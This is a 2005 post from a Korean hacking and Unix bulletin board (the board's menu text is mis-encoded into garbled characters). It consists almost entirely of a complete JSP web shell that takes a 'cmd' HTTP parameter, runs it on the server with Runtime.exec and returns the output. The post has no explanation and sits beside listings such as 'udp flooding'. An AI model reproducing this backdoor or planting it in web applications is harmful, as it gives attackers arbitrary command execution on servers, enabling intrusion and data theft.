BACKRUSH  À¯´Ð½º¸í·É  ´ÙÀ½  ÀÚ·á½Ç  Ascii Table   ¿ø°ÝÁ¢¼Ó  ´Þ·Â,½Ã°£   ÇÁ·Î¼¼½º   ½©
ÁöÇÏö³ë¼±   RFC¹®¼­   SUN FAQ   SUN FAQ1   C¸Þ´º¾ó   PHP¸Þ´º¾ó   ³Ê±¸¸®   ¾Æ½ºÅ°¿ùµå ¾ÆÀÌÇǼ­Ä¡

±Û¾´ÀÌ: jsp jsp ¹é½© Á¶È¸¼ö: 7225


<%@ page session="false" import="java.io.*,java.util.*" contentType="text/html" %>
<html>
<body>
<xmp>
<%
try {
String getcmd=request.getParameter("cmd");
String cmd = getcmd;
try{cmd = request.getParameterValues("cmd")[0];}catch(Exception e){}
if ( cmd != null ) {
Process p = null;
InputStream stdout = null;
InputStream stderr = null;
try {
StringTokenizer st = new StringTokenizer(cmd);
String[] cmds = new String[st.countTokens()];
for(int i=0; st.hasMoreTokens() ; cmds[i]=st.nextToken(), i++);

Runtime rt = Runtime.getRuntime();
p = rt.exec(cmds);

p.waitFor(); // wait for process finishing.

stdout = p.getInputStream();
BufferedReader out_br =
new BufferedReader(new InputStreamReader(stdout));
String line = null;
while ( (line=out_br.readLine()) != null) out.println(line);

stderr = p.getErrorStream();
BufferedReader err_br =
new BufferedReader(new InputStreamReader(stderr));
while ( (line=err_br.readLine()) != null) out.println(line);
}
finally {
if ( stdout != null ) try{stdout.close();}catch(Exception e){}
if ( stderr != null ) try{stderr.close();}catch(Exception e){}
if ( p != null ) try{p.destroy();}catch(Exception e){}
}
}
}
catch(Exception e){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
PrintWriter pw = new PrintWriter(bos);
e.printStackTrace(pw);
pw.flush();
out.println(bos.toString());
out.println("<br>");
}
%>
</xmp>
</body>
</html>

°ü·Ã±Û : ¾øÀ½ ±Û¾´½Ã°£ : 2005/10/20 16:21 from 218.38.148.205

  udp flooding ¸ñ·Ïº¸±â »õ±Û ¾²±â Áö¿ì±â ÀÀ´ä±Û ¾²±â ±Û ¼öÁ¤ bnc  
BACKRUSH  À¯´Ð½º¸í·É  ´ÙÀ½  ÀÚ·á½Ç  Ascii Table   ¿ø°ÝÁ¢¼Ó  ´Þ·Â,½Ã°£   ÇÁ·Î¼¼½º   ½©
ÁöÇÏö³ë¼±   RFC¹®¼­   SUN FAQ   SUN FAQ1   C¸Þ´º¾ó   PHP¸Þ´º¾ó   ³Ê±¸¸®   ¾Æ½ºÅ°¿ùµå ¾ÆÀÌÇǼ­Ä¡